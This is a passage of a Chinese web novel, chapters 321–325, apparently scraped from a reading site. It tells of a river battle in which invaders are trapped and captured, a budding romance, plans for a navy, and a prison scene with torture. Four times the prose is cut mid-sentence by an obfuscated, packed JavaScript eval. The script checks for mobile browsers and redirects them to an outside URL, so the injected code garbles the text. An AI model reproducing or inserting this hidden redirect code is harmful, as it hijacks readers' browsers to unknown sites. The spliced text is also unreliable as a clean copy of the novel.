如今,虽然远远超出了他的想象,可何惧之有?这些来犯之敌也必定没想到会遇到如此凶悍的抵抗,两军对垒如狭路相逢,非勇而不能胜也。 显然对方也是如此想的。 赵诚深吸一口气,空气中弥漫着火焰、鲜血和死亡的气息。他握紧了手中的长刀,对身边最后一批预备队——也是他青云峰最核心的老兄弟们低吼道:“擒贼先擒王!等他们第二波登陆舟靠近,吸引注意力后,把我们藏着的最后几条快船放出去!所有人,跟我上船!目标——最高的楼船和楼船上的所有人!” 他要用这全部的力量,赌一把,直插敌人的心脏! 流火炮准备好,赵诚一马当先跳上船,当赵诚带着船冲出去的时候,罗政一刀结果了正面冲上来的敌人,断喝一声:“护赵将军!” 罗家军个个勇猛,到了这个时候都杀红了眼,生死不惧。 流火炮对准楼船上的汪直,两门流火炮一组,前排桐油罐,后排燃烧的流火弹,但凡沾上必定双重打击,汪直看到这架势,一转身就要退后,可赵诚和罗政怎么可能给他机会,水鬼在下面潜到楼船最下方,十几个人拼了全力要沉了这条船。 “撤退!撤退!”纪长歌已经无心恋战,既然三国不听指挥,就撤走自己的人。 炮弹犹如雨点,楼船被炸掉了半截,带着熊熊火势落荒而逃,丢下了三国合在一起的联军,死伤无数,目瞪口呆…… 京城。 裴祈安带着温令仪从京郊归来,得知萧玄策还未曾离开,让人来请萧玄策入宫。 “玄策兄可否同去归海府?”裴祈安请萧玄策落座后,说。 萧玄策摸清楚了裴祈安的性子,这个人从来都心里有成算,面上不显是气度,归海府那边调动兵马不少,同时这几日泾水河上的战事愈演愈烈,同样作为国君,萧玄策知道自己还是需要磨砺的,毕竟换做自己早就沉不住气了! 尽管知道裴祈安是故意放进来那么多战船和人的,但大昭伤亡也不少,并且大昭没有海上舰队,别说海战,水战的主力军都是民间的漕帮,在任何人看来,大昭占据的唯有地理优势,真正两军对垒,实力相差过于悬殊。 “虽然大周也没有海军,更不善于水上作战,但大周的铁家军和弓箭手还是可以的,玉琢可需要调兵?”萧玄策说。 裴祈安笑了:“放心吧,若真到了需要大周襄助的地步,那必定是大昭连一战之力都没有的时候,如今天气正好,我们二人可快马去归海府,无需兴师动众。” 萧玄策虽为一国之君,但最喜独来独往,立刻起身:“咱们走。” “我也去。”裴明熙从外面进来,面色凝重,她是才知道有外敌入侵的,水战大昭是弱项,她之前怎么就没想到呢? 萧玄策看裴祈安,裴祈安倒也痛快,直接抱起来裴明熙:“走。” 三人离开京城,萧玄策和裴祈安轮流背着裴明熙策马狂奔,毕竟裴明熙年纪小,骑快马身体吃不消。 归海府已经准备就绪,温令容手底下的将士们兵分两路,流火炮镇守入海口,防备再有来犯之敌,就算没有,也能把漏网之鱼消灭在出海口,另一路将士们负责两岸镇守,水底铁排随时要起立,因泾水河那边大获全胜,来犯之敌都被困在泾水河上,并且温慕阳率军已兜着包抄过来,也就是说到了最后收网的阶段。 泾水河上。 汪直神色阴冷的坐在太师椅上,不曾说一句话,但脑子里根本没闲下来,复盘这几次战役到底输在了哪里。 如今折损大半,余下这些也士兵萎靡不振,纪家所谓的接应根本送不到船上,只传递来一个消息,温慕阳率军把纪家连根拔起,男女老少都装进了木笼囚车,正送往泾水河南岸。 纪长歌如寒霜过后的野草,整个人没了最初的意气风发,眼窝深陷的他几次抬头看汪直都没敢说话,心里也纳闷,明明大昭不具备水战的能耐,甚至一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288361|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始都没出动朝廷的军队,赵诚一个占山为王的匪,怎么有如此大的能耐? 流火炮,那简直是催命符,大昭才建朝几天?怎么会有这样的杀器? 太多想不到了,以至于他觉得自己在做梦,不真实。 “我杀了你!”麻逸国将军巴利克长刀出鞘,疯了一般冲向纪长歌,他率领一万麻逸国勇士,现在连一百个人都没剩下,这口气怎么能咽的下? 就在长刀要把纪长歌扎个透心凉的时候,汪直抬起手,一枚铜钱几乎镶到巴利克的手腕里,巴利克受到攻击,长刀脱手,捂着血流如注的手腕蹲在地上破口大骂:“尔等无耻小人!花言巧语诓骗我等来到大昭,原来是为你们卖命!如今麻逸国的勇士们都死在了这里,你们都该死!” “当初,你们不也是觉得有利可图吗?”汪直淡漠的说,目光森然的看着巴利克,缓缓移动目光扫视在场的每一个人。 这些人都不吭声了。 汪直说的没错,他们是相信可以长驱直入,只要占领泾水河,后续会有源源不断的人来到这富饶的陆地上,从此以后能过上安稳的日子。 只是没人想得到大昭竟如此强悍。 他们现在只想着逃走,回去自己的国家,过点儿安生日子,再不走只怕就回不去了,全都得死在这里。 饭菜的香味儿直往鼻子里钻。 汪直皱眉,船是为了打仗用的,带的吃喝并不多,也没想到会被困在这里,就算是在水里,河里的鱼都不敢吃,虽说大昭将士们会打扫战场,可水里的浮尸收拾不干净,臭气熏天令人作呕。 汪直起身走出船舱,就听到河岸上有人吆喝:“会造船的可以投降,效忠大昭留你一命,肉汤、包子管够!” 不是一个人在喊,而是每隔两三丈就有人敲着铜锣在吆喝。 “但凡投敌者,杀无赦!”汪直眯起眼睛,无耻!这种法子也想得出来! 话音刚落,突然鼓声擂动,喊杀声震天。 汪直心就一沉,举目看过去,只见到温家军大旗到处都是,泾水河两岸都是鼓声,河面上许多商船一字排开,一排排往前推进,与此同时,两岸敲锣的兵士撤回,鼓声回应。 跑?怕是都跑不掉了! 汪直在这一刻,万念俱灰! 第322章 归海府是生路吗? 汪直转身回去船舱内,看着一张张如丧考妣的脸:“唯有拼尽全力一战,能活着突围才有机会卷土重来,这次所有的损失,我汪直双倍补偿。” “纪家也倾尽所有,补偿各位。”纪长歌立刻说。 腓尼国的将领汉诺摇头:“我们回不去了,我们不该来到这里。” “是啊,我再也见不到我的亲人了。”迦太基国的将领艾恩双手抱头的蹲在地上:“补偿?补偿什么?我带来了三万人都死在这里了,哪里还有脸回去?回去也会**死的。” 汪直缓缓地闭上眼睛:“等死吗?束手就擒?” “不!不!身为军人,宁可战死!”玛戈有些疯狂,双眼赤红的拎起来自己的长剑,转身就出去了。 汪直环视剩下的人:“我们还有机会卷土重来,下次只需在海岸线登陆,三国不够就十国,此仇不报枉为人!你们都是带着各自国君的嘱托来到这里的,海上岛屿让我们的子孙后代都生活在风雨飘摇中,看看大昭!这里有广袤的土地,肥沃的农田,想一想吧,你们的子孙后代生活在这里,那该是多美好的事?不过首战失利,我汪直用项上人头作保,一定会把大昭打下来!让大昭成为我们子孙后代的安乐国!” 说罢,汪直看了眼纪长歌。 纪长歌早就准备好了,带着人去提来了酒坛子,酒坛子里放了足以令人失去理智的药,让人嗜血而疯狂。 汪直举起大碗:“我们是同一条船上的兄弟,干了这一碗,跟他们拼了!” 原本还沮丧的几个人接过酒碗,美酒的香气十分诱人,一饮而尽后,半刻都不到,他们一个个面红耳赤,叫嚷着拼命,急匆匆而去。 汪直抬起手压了压额角:“纪长歌,你们纪家真狠!” 到了这个时候,汪直已经没有乐观的想法了,他明白自己被纪家利用了,纪家想要报仇,拿捏了自己的弱点,否则他不会号召几个小国集结而来。 纪长歌一个字也不敢说,纪家准备的充足,只是现在有了一败涂地的态势,不止有汪直,还为了名正言顺准备了郎乾,郎乾那个缩头乌龟,如今只会蜷缩在角落里,嘟囔着等死。 “不好了!南岸放了好多竹排,竹排上放着木笼,笼子里好多人。”有兵士来报。 汪直冷冷的看着纪长歌:“但,纪家也要付出代价,裴祈安的狠确实让人眼前一亮,纪家这一次鸡犬不留就是下场。” 纪长歌缓缓地吸了口气,他的至亲都在汪直手里,现在那些纪家人也就只能算九族内,平日里纪家会护着,可是生死关头,哪里会管他们死活? 汪直没搭理纪长歌,起身走出船舱,他手底下还有不足万人,突围是有机会的。 残阳如血,将泾水河面染得一片赤红,这些日子,泾水河的河水就没有清澈过,接下来是搏命的血战。 南岸放下来的竹排里,哭喊求救的声音让人心里烦躁,汪直面色不悦。 不等他说话,纪长歌已经带着弓箭手,对准了竹排上的木笼,三波狼牙箭过后,再也没任何动静了。 汪直扫了眼纪长歌,若非生不逢时,这小子倒是个心狠手辣的。 汪直站在他那艘伤痕累累的楼船船首,黑色大氅破了几处,依旧在带着硝烟味的河风中猎猎舞动。他花白的须发凌乱,眼窝深陷,但那双眼睛里的火焰却未曾熄灭,反而燃烧得更加疯狂和偏执。他环顾四周,心一点点沉入冰窖。 北岸,罗政和赵诚的将士们像钉子一样楔在滩头阵地。虽然几次正面对战,罗政和赵诚那边伤亡也很惨重,但他们就像是亡命徒似的,硬是用血肉之躯顶住了一波又一波亡命的登陆冲击。岸边的浅水区堆积着层层叠叠的尸体,河水为之滞涩。 罗政兴奋的搓手,拄着手里的长刀,眺望着越来越近的温家军,他知道必定所有的布局都完成了,到了最后决战的时刻了! 然而,真正让汪直感到窒息的压力,来自南岸和西侧的水域。 温慕阳的温家军,终于露出了他们锋利的獠牙。 南岸,战鼓声震天动地。无数温家军战船如同离巢的蜂群,浩浩荡荡驶出支流河口,切入泾水主航道。他们的船只不如汪直楼船高大,甚至有渔民打渔用的船,有漕帮运送货物的船,但对于河道来说,却更为轻捷灵活,并且所有的船头包上了铁,显然是做好了冲撞接舷的准备。船上巨大的“温”字旗,在夕阳下格外刺眼。 西边,更多的温家军小艇如同水蜈蚣,灵活地穿梭在破碎的船骸之间,利用速度优势,不断用流火箭攻击汪直舰队的侧翼和后方。他们并不急于正面强攻,而是像经验丰富的狼群,不断撕扯、削弱着已然疲惫不堪的猎物。 三面合围!北岸硬顶,南岸主力压迫,西侧游弋袭扰!还有水鬼,不知道这次又有多少水鬼! 汪直舰队原本庞大的阵容,此刻只剩下核心的二十余艘还能作战的大船,被牢牢锁死在这片逐渐缩小的河域。他们陷入了前所未有的绝境。 “主公!北岸啃不动,南边和西边全是温家的人!我们被包圆了!”一名浑身是血的将领踉跄跑来,声音里充满了绝望。 汪直猛地回头,眼中血色更浓。他眺望南岸那艘最大的温家战舰,看到了船楼上那个身着银甲、面色冷峻的年轻将领——温慕阳。他甚至能感受到对方目光中的冰冷杀意。 “好…好一个温慕阳!好一个三面合围!”汪直咬牙切齿,几乎是从牙缝里挤出这句话。纪家的全部家当,他七十年的野望,难道真要葬送在这条该死的河里?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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罗政吐出一口血沫,狞笑道:“跑?老子还没杀够本呢!弟兄们,没死的都给老子起来!弓箭手,朝那些想调头的船给我往死里射!能下水的,跟我去凿**!” 最后的疯狂被点燃。北岸射出了更加密集的箭雨,虽然**之末,却依旧能造成混乱。甚至有几个不怕死的水匪,抱着**罐就跳进了河里,向着试图东移的敌船游去。 汪直舰队付出了惨重的代价,终于勉强完成了转向,丢下更多燃烧或沉没的船只,如同一支遍体鳞伤的箭,向着东面归海府的方向奋力冲去。 温慕阳见状,令旗一挥:“全军压上,驱赶他们!” 温家军战船陡然加速,从三面压迫而来,箭矢砲石如同暴雨般倾泻在汪直舰队的尾部,又留下了几艘熊熊燃烧的断后船只。 天色渐渐暗淡,夕阳只剩下一抹残红。汪直看着前方似乎逐渐开阔的水域,心中升起一丝侥幸。只要到了归海府…… 然而,当他看到前方归海府水域那看似平静的河口时,一种不祥的预感陡然攫住了他的心。**静了。安静得诡异。 就在这时,冲在最前面的几条快船突然猛地一震,速度骤降,船底发出了令人牙酸的木材断裂声! “怎么回事?!”汪直惊怒交加。 第323章 他,想要倾尽所有,与之并肩 “排…水底下有排!是铁排水排!”前方的船只上传来惊恐万分的喊叫。 只见前方的水面上,毫无征兆地,一根根削尖了的、用粗大铁链和绳索连接在一起的巨木突然从水下翻起,形成一道道连绵不绝的障碍墙,彻底堵**通往归海府的河道!那些巨木尖端朝上,宛如潜伏水底的巨兽獠牙,轻易地撕开了试图强行通过的船底! 这只是他们看到的,水面下还有铁排,那些精铁打造的铁排,锋利的尖头能撕开任何防御。 这是对付船只最阴狠也最有效的阻拦手段之一! 汪直只觉得一股冰寒从脚底直冲头顶,血液几乎冻结。 完了。 这是他脑海中唯一的念头。 与此同时,归海府的城头上,以及岸边突然亮起了无数火把,将昏暗的水面照得恍如白昼。一面“温”字大旗在城头高高竖起。旗旗下,一个身形挺拔、面容与温慕阳有几分相似却更显沉稳坚毅的女将领,按剑而立,正是温令容。 她目光冷冽地俯瞰着被彻底拦住的汪直舰队,如同在看瓮中之鳖。 不远处,裴明熙趴在城墙上看着汪直的船队,那些船只足够高大,吨位确实是现在的大昭无法比拟的,但裴明熙有信心,经过这一次的教训,大昭的海军会成为最厉害的劲旅! 裴祈安负手而立,身边是萧玄策,他的目光注视着温令容,这才多久?温令容竟有如此大的变化,难道温家不论男女都是帅才? 事实上,温令容比温慕阳更可怕,因她蜕变之快,令人咂舌。 突然觉得自己可笑,当初是怎么想的,以为能庇护温令容,借此机会和温家形成裙带关系,彼此互相依存。 异想天开了,温家对大昭的忠诚不单单是因为温令仪是皇后,更因为这片土地,他们对大昭这片土地有着特殊的感情,是可以以命相搏,前仆后继的为之付出生命代价都在所不惜的。 现在,自己还配得上温令容吗?不关乎任何野心和盘算,只是欣赏和倾慕,这样的女子若能和自己并肩而立,那才是真正的荣耀啊。 “玄策兄,汪直是大梁汪家后裔,在海外势力庞大,若非纪家勾结此人,断不会让大昭如此措手不及,听说,汪家还安插了不少人在西凉,西凉灭国后,那些人极有可能分布到西域三十六国中藏匿,可见其狼子野心。”裴祈安说。 萧玄策收起心思,微微蹙眉:“大周虽无海军,但有大昭一样的士气!拼命也会阻拦一切来犯之敌。” 裴祈安缓缓点头:“毕竟,大昭对大周来说,是一道屏障,你我两国犹如唇齿。” 结盟,早就结盟了。 萧玄策暗暗庆幸自己没有参与太多大昭的内乱之争,现在看来折损天道盟简直算不得什么代价,毕竟大昭不稳,大周如今更犹如散沙,并且没有如温家军这般善战之师。 “汪直!归海府温令容在此,恭候多时了!尔等已陷入天罗地网,插翅难逃!放下兵器,跪地乞降,或可留尔全尸!”温令容的声音通过号角扩大,清晰地传遍整个河面,带着不容置疑的威严和胜利者的宣告。 前有铁排水排拦路,后有温慕阳大军包抄,南北两岸皆是敌兵。 真正的绝境! 汪直麾下的残兵败将们彻底崩溃了。最后的逃生之路被无情斩断,希望彻底破灭。有人跪地痛哭,有人弃械跳河,更多人则陷入了最后的疯狂。 “杀!给我杀出去!”汪直双目赤红,拔剑狂吼,做困兽之斗。 但大势已去。 温慕阳的主力船队已经全面压上,虽然是货船和渔船,但那又如何?汪直的船队残破不堪,前面去路堵死,短兵相接的时候,船只不过是搏命场罢了。 温慕阳的船队与被困的汪直舰队彻底接舷。温家军士卒如狼似虎地跃上敌船,与那些丧失斗志或负隅顽抗的敌军厮杀在一起。北岸的罗政和赵诚也率领着所有兵士们赶到,乘着小舟发起了最后的冲锋。西面的温家军亦是如此,冲锋陷阱,排布有序,如同群狼噬咬,不断清理着外围的敌人。 战斗,变成了单方面的**和清剿。 河水被彻底染红,哭喊声、求饶声、兵刃碰撞声、垂死哀嚎声交织成一曲地狱的终章。 汪直所在的楼船被数条大昭集结来的货船、渔船死死缠住。他的亲兵护卫一个个倒下。温慕阳亲自率精锐登上了楼船,剑光闪烁,步步紧逼。 罗政和赵诚也几乎同时从另一侧杀到。罗政一眼就看到了被围在核心、犹自挥剑劈砍的汪直,大吼一声:“汪直老贼!纳命来!”便要扑上去。 “罗兄且慢!”赵诚一把拉住他,“温将军要活的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291304|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 温慕阳剑势如虹,格开汪直的攻击,身边亲卫一拥而上,终于将筋疲力尽、状若疯狂的汪直打倒在地,用牛筋绳索捆了个结实。 汪直被按在甲板上,脸贴着冰冷沾血的木板,他挣扎着抬起头,看到的尽是温家军冷漠的脸孔、罗政的快意、赵诚的平静,以及…远处归海府城头上那面迎风招展的“温”字大旗。 七十年的野望,纪家的全部家当,无数人的野性与生命…最终,都在这泾水河的最后一战中,化为了泡影。 “清理战场,负隅顽抗者,格杀勿论!”温慕阳收剑入鞘,看着一片狼藉的河面,冷冷地下达了最后的命令。 夕阳终于彻底沉入地平线,黑夜降临,吞噬了泾水河上的一切喧嚣与血色。唯有无数火把,映照着胜利者的旗帜,和满河的破碎与死亡。 汪直、纪长歌、郎乾三人生擒,余来犯之敌尽殁。 持续了一个月之久的泾水河大战,在归海府的河面上,近在咫尺的入海口处,宣告终结。 萧玄策看到了女将们的奋勇杀敌,她们不再是柔弱的菟丝花,而是利刃,是女性从来不曾被人看到过的力量,温令容啊,你到底是怎么样的人物? 可还是这些女兵,走下城墙,操持锅碗瓢盆,走出归海府在河边架起锅灶,胜利的疲惫和伤痛,被热乎乎的食物治愈着。 温令容率领女军医给每一位兵士包扎,她们动作轻柔,温言软语,手法娴熟,更因胜利挂上灿烂的笑容,那笑容犹如在废墟上盛开的花朵,让每个人都不因这一战的惨烈而颓废,更相信未来的大昭,不惧任何强敌! 萧玄策提着水囊站在不远处,注视着温令容,如此女子,令人心驰神往,若能和她并肩,人世间还有什么样的女子能与之媲美,他有些理解裴祈安对温令仪的忠贞不二了。 如果,一个女人身上有一个优点,无数个女人身上都能找到各自的美好,那男人就像是寻宝人,一个又一个的收入囊中,他们是站在万万人之上的人,有这个特权。 但,如果一个女人,你能在她身上看到世间一切美好,甚至心怀仰慕的钦佩,唯有她是高岭之花,余下不过是莺莺燕燕,那忠诚是源自于内心深处的珍惜,不会因岁月洗刷而泛白,只会历久弥坚。 他,想要倾尽所有,与之并肩。 第324章 你也是大昭的财神啊 “喝水。” 萧玄策递过去水囊。 温令容有些不好意思的接过来:“有劳了。” “我们也算相熟。”萧玄策说完就后悔了,这话说的真是没脑子,清了清嗓子:“你变化很大。” 温令容喝了口水润润喉,看着自己忙碌的麾下女兵,缓缓地说:“总得有带路人,为更多的人寻找到出路,我麾下这些女子,各有各的不容易,非是她们不愿意颐养坤德,相夫教子。” 萧玄策何曾听到过这样的言论? 女子相夫教子,古来如此,大昭确实不一样,这不一样犹如谜团,不单单是裴明熙,肯定还有更多自己不知道的原因,让大昭的女子可以看到更多的可能性。 “女子的智谋、才能、勇气和坚韧,一点儿不比男人少,甚至在面对苦难的时候,更优秀。”温令容偏头看萧玄策:“所以,凤翎军不爱红装爱武装,可上阵杀敌,护佑黎民百姓。” 萧玄策除了汗颜,竟不知道该说什么才好。 河里,残船被拖到岸边,打扫战场,温令容率领凤翎军在河面和两岸洒下了草药汤,目的是杜绝任何瘟疫滋生,空气里是草药焚烧后的香味儿,驱散了血腥味儿,温慕阳、罗政和赵诚把敌军尸首深埋,再给战死的将士们入殓。 三碗烈酒祭英魂,庆功宴是悲伤和喜悦无法分清的终结。 裴祈安亲自犒赏三军,萧玄策不便表露身份,只有少数的人知道他的来历。 温令容没看到裴明熙,猜测在楼船上,立刻去寻。 此时的裴明熙确实在楼船上,不过这次她启动了子系统,造船所需的技术支持全部形成书的样子陈列在面前。 做完这一切,裴明熙松了口气,要神不知鬼不觉的为大昭海军找到最快的发展捷径,眼下是不容错过的机会。 温令容找来的时候,就见裴明熙提着灯笼仰望着比她高处许多的书架。 “囡囡。”温令容出声。 裴明熙偏头:“姨母,你来的正好,快帮我。” 温令容走过来把裴明熙抱起来,单手抱着她,另一只手抽出来一本书打开,看了两眼立刻合上:“囡囡,不可放在这里。” “就说缴获的啊。”裴明熙能想到最名正言顺的方法。 温令容偏头看着裴明熙的小脸:“可是,外面有萧玄策。” 裴明熙低声:“姨母,防备他是必然的,可是让他知道我们有,也是威慑。” 温令容哑然失笑:“有道理。” “再说了,泾水河源头在神女山,奔流入海过大昭境,同样若外地入侵先对上大昭,大周要知道什么是唇亡齿寒,若大昭败了,大周还安全吗?海上那些小岛上的国家,生存艰难,他们无比向往广袤的陆地,这一次是警钟,大昭不可能坐以待毙。”裴明熙说:“除了威慑还有讨伐,远交近攻才能长治久安,至少这来犯三国给了我们还击的机会。” 温令容挑起大拇指:“囡囡有大才。” 虽说不隐瞒萧玄策,但也不会把这些展现在萧玄策面前,含而不露。 当温令容带着麾下的将士们进船,抬下来一个个箱子直接送到马车上,油毡布遮好连夜运走时,萧玄策还没在意,可没一会儿工夫,再抬下来的箱子直接就当着所有将士们的面打开,里面是各种金银珠宝,陆陆续续抬下来的鱼皮服、弓箭、床**,都摆在岸边的时候,萧玄策突然想到了直接送走的马车上,到底是什么东西。 可好奇归好奇,没问。 鱼皮服是水鬼最好的装备,这些鱼皮服直接教给了白长鹤,并且白长鹤成为大昭海军元帅,暂时虽然还没有正式成立,但未来是必定会大力发展的,白长鹤还会监管从入海口到整个大昭内陆河的漕运事宜,也就是说从江湖门派成为了正规军。 白长鹤和他的漕帮兄弟一个个都腰背挺直,这辈子也没想过会突然成了朝廷的人,这个是光宗耀祖的事。 同时,裴祈安叫来了赵诚。 赵诚婉言谢绝:“皇上,我等都是散漫惯了的人,此间事了,回去山里自在生活就行。” “大昭要建海军,这是必然,大昭正是用人之际,你们直接参与了这场战役,是不可多得的将帅良才,朕求贤若渴,虽不会让你封妻荫子,但朝廷必定不亏待为国为民付出的人。”裴祈安说。 裴明熙从外面进来,手里捧着刚画好的图纸:“父皇,儿臣画出来了。” 这个让赵诚颇感意外,好奇裴明熙手里的图纸是什么,毕竟裴明熙还是个小孩子嘛? 裴祈安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301180|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接过来图纸铺在桌子上,震惊的看图纸,抬眸看着裴明熙:“你画出来的?” “是啊。”裴明熙笑呵呵的拉着赵诚过来:“赵伯伯,你来看看。” 赵诚被拉过来,看到图纸的时候眼珠子差点儿冒出来,再看裴明熙,这么小的孩子竟然有这样的本事? 裴明熙看着赵诚:“赵伯伯,你要是有这样的大船,我们出海去讨伐来打咱们的那些仇人,行不行?” “行!肯定行!”赵诚真克制不住激动,这样的大船,流火炮的威力,这要是能建成,那简直是海上的神啊! “那咱们建海军。”裴明熙说:“我有一本书,你看。”裴明熙取出来一本书递给赵诚。 赵诚立刻打开了看了几眼,那种气血上涌的感觉,简直克制不住。 裴祈安暗暗挑起大拇指,这才是自己的女儿,自己还担心赵诚真马归南山,如今看来,赵诚完全能承担大任。 果然,赵诚答应了,成为归海府海军都督。 所有事情处理完毕,裴祈安率领众人归京。 回来的马车上,萧玄策和裴明熙在一辆马车上,萧玄策看裴明熙勾勾画画,还时不时的翻开书,那书上有各种图形,自己完全看不懂。 “囡囡,你在做什么?若是不能说,我不问。”萧玄策说。 裴明熙立刻凑过来:“干爹,你看,这是船,制船图,造船。” 萧玄策脑瓜子嗡一声,自己这不是坏了规矩?打探大昭的**吗? “干爹,你回去要训练海军,造船怕是不行,大昭也需要一些年头摸索,他日准备好,我们可以征战苍茫海域,到时候两国联合,所向披靡啊。” 萧玄策抬起手捂住额头:“傻囡囡,你知不知道大周和大昭是两国家?” “知道啊,干爹,你可以往西域三十六国去,我不确定有接壤大海的地方,一旦有,你觉得我爹能卖给你流火炮,能不能卖给你战船?”裴明熙说的一本正经。 萧玄策眼睛都亮了:“囡囡,你是我的福星啊!” 对,福星是真福星,但是你也是大昭的财神啊。裴明熙笑眯眯的看着萧玄策,觉得他都金光闪闪,毕竟自己的众合商会,那可是能赚来很多很多很多银子的,从大周,从三十六国! 第325章 你想知道上官子玉的事吗? 回到京城,萧玄策坚持跟凤翎军一起回漠北,目的昭然若揭,但谁都没点破。 裴明熙送他们到十里长亭,依依惜别,她短时间内都不会离开大昭,造船是当务之急,只有图纸远远不够,真正精良的战舰,是需要一个漫长的摸索过程的。 裴祈安在回京第二天的早朝上,下旨建水师。 海军总督赵诚上任,海军总教头白长鹤上任,大昭朝堂的改变是润物细无声,也是雷霆万钧的。 要到年底了,六部官员每天都要在御书房里办公到日落,许多官员都觉得脖子上冰凉,大部分都想着致仕退隐,但没人敢在早朝上提起,六部之所以这么忙,就是在审核所有官员,京城做官,天子脚下,倒霉都是近水楼台先得月呢。 所以,谁敢去触这个霉头? 同样,后宫也非常忙。 后宫虽没三宫六院,只有皇后一个主子,但人是真多,说出去只怕没人会相信,后宫原本是妃嫔们居住的宫殿,如今都成了作坊,甚至御花园都成了养蚕的温室。 所以,温令仪在年底简直比裴祈安还要忙,宫里的作坊、外面的买卖、四海货行和各铺面的红利,账目简直都堆积如山,更不用说还有女学的事。 后宫有女官,就像是一个内朝廷似的,温令仪把所有事情分发下去后,最终会把结果送到她跟前,她会查阅后批示,再安排人各司其职去把宫外的事都办理妥当。 前朝和后宫忙得不亦乐乎,裴明熙也没有闲着,她把能工巧匠都叫到了自己的院子里,根据图纸开始做各种船只的模型,一个个模型做出来后,要做下水实验,都过关后按照比例放大就可以应用到建船厂。 在归海府,白长鹤也在做准备,漕帮手里最不缺造船的人,只不过以前造船根本没有能打仗的,这次水战能胜利,那是靠人,并且是在大昭本土,要报仇就的出海,出海就必须有过硬的舰船。 难得一家人坐下来。 温令仪亲自下厨,裴明熙帮忙,裴祈安抱着儿子在外面看日落,偌大的皇宫被一家人住出来了烟火气。 “宫宴的事也该操持了,今年泾水河一战之后,大昭各处的百姓也都安稳下来了,值得庆贺。”温令仪说。 裴祈安给裴明熙加了一块肉放在碗里:“确实该办,后宫找到官眷,阿宁要操持,前朝的事交给御膳房就好。” “也确实要趁此机会,正一正官眷的风气了。”温令仪说。 虽说是在宫里,手边事务繁多,可温令仪还是对京城官眷后宅的那些腌臜事有了解的,倒不是小人行径,而是前朝必定会大量调整官员,不能冤枉了好官,当然也不能有漏网之鱼。 无染开始牙牙学语,裴明熙带着弟弟直接去自己的书房给开蒙,她觉得要从娃娃抓起,为大昭培养出来明君,势在必行。 夫妻二人没有闲着,裴祈安带着温令仪去了天牢。 从归海府抓捕回来的纪长歌、汪直和郎乾都关押在此地。 温令仪闻到了血腥味儿,微微蹙眉,她知道抓到了郎家人,至于真假一查便知,其实真的假的早就不重要了,纪长歌亦是如此,纪家再怎么厉害,从纪家倒下那一刻就没落的再也没机会东山再起了,反倒是这个汪直,温令仪很好奇。 汪直被吊在架子上,花白的胡须上沾着血渍,整个人像是被抽走了精气神一般。 “裴祈安!你就是个窃国的贼!是大夏的走狗!”纪长歌一见到裴祈安就破口大骂。 裴祈安撩起眼皮儿看了纪长歌一眼,笑了:“想要激怒朕,让朕给你个痛快?想多了。” 被拆穿了心思,纪长歌丝毫不畏惧:“你手上血债累累,一定会早报应的!你个天阉之人取晏家弃妇,一对儿狗男女!” 裴祈安神色微变,显然敢中伤温令仪,这触了他的逆鳞。 刚要发作,一只手轻轻地盖在了他的手背上,裴祈安偏头看温令仪,知道她不想自己冲动,抬起手:“谭庸,拔两颗牙。” 谭庸哪里会客气,尖头铁钳子拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301181|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在手里,两个下属按住纪长歌,杀猪一般的惨叫声后,两颗牙齿被扔到了铜盘里。 被吊着的汪直抬头看着坐在椅子上的两个人,胜者为王败者寇,他早就不在乎自己的生**,只不过想要早点儿死掉,解脱了。 他很清楚这两个人来到天牢,哪里是因为纪长歌或是郎乾,目标是自己,因他们想要报仇就得出海,出海?呵,自己虽然输了,但大昭根本没有好船,出海简直是做梦! 郎乾早就吓得魂不附体了,被抓的三个人里,唯有郎乾觉得自己最无辜了,扯开嗓子喊:“我是假的!我是被纪家忽悠了,他们说只要让我站出来,这皇位也能坐一坐的,我坐上皇位就禅让给纪长歌,我是被他们害了的!” 裴祈安低声吩咐:“谭庸,把这个人送到午门外,吊起来,愿意说去跟百姓说。” 